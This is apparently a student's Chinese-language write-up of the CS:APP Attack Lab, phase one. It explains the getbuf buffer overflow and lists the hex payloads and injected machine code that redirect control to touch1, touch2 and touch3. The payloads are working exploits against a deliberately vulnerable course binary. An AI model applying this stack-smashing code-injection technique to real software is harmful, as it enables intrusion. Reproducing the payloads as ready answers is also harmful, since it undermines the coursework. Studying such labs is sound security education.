Attack-lab 总结

csapp 的第三个 lab。考察局限在内存安全,主要依靠缓冲区溢出为基础并浅尝面向返回编程 ROP。

谁都只得那双手靠拥抱亦难任你拥有
要拥有必先懂失去怎接受

第一部分

这部分主要 attack ctarget 文件。因为使用 gets(类似)函数没有判断长度导致字符串可以一路插穿栈帧,藉此可以改掉函数的返回地址,也就是栈帧最高处储存的地址来导向我们想让他去的地方。

这个 lab 不改栈地址,所以可以用绝对地址。

问题函数:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

鉴于 bomb lab 的摧残我已经熟练掌握 gdb 的基本用法,然后装了 gef 插件直接看栈,当然也可以使用 x /(foo) xw $rsp 看到栈内容,而且不装插件在这个 lab 里用 layout asm 似乎会卡退(wsl 2.0)就看不了反汇编。

需要用 hex2raw 将载荷转成字符串,在 gdb 里用 - i 运行,参见文档。

b getbuf 下断点,run -q 第一次运行(离线一定 - q),看到栈顶距离 getbuf 的返回地址有 40 字节的缓冲,然后直接填充掉,把地址换成 touch1 的绝对地址。载荷如下:

1
2
3
4
5
31 32 33 34 35 36 37 38 39 30
31 32 33 34 35 36 37 38 39 30
31 32 33 34 35 36 37 38 39 30
31 32 33 34 35 36 37 38 39 30
c0 17 40 00 00 00 00 00

第二关需要把一个特定值给到检查函数里面。这样要求前面 padding 的内容就得包含机器码(这个 lab 的栈中内容可以运行)。函数的第一个参数储存在 % rdi 寄存器,可以直接 movq。我第一次写的是把 % rsp 改掉指向 touch2 函数的地址,但后来想想实在是憨只要 pushq 就好了口阿。缓冲区要填满,全部 nop。

1
2
3
4
5
6
7
8
9
10
11
movq $0x59b997fa %rdi
pushq $0x4017ec #goto touch2
ret
nop...
000000005561dc78 #rewrite previous ret address so we can turn to the first line

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
78 dc 61 55 00 00 00 00

第三关更困难一点。需要传一个字符串,检查函数传参指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

比较的时候会随机地址,不过其实没什么影响。还是把字符串藏到栈里,但是一开始我往低处藏似乎总是被 hexmatch 申请的空间给抹了,索性直接越过 touch3 的栈帧把字符串藏到 test 函数栈帧里,有风险但不多因为 test 函数不会再被返回了,以防万一我保留了原来的 touch3 返回地址。注意字符串一定以 \0 结尾,而且和小端序没关系。对了这个小端序真的烦,0xdeadbeef 需要写成 ef be ad de。和第二题类似。

1
2
3
4
5
6
7
8
9
10
11
12
13
movq $0x5561dcb8, %rdi #string addr
pushq $0x4018fa
ret

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
48 c7 c7 b8 dc 61 55 68
fa 18 40 00 90 90 90 c3
90 90 90 90 90 90 90 90
88 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
24 1f 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00 # string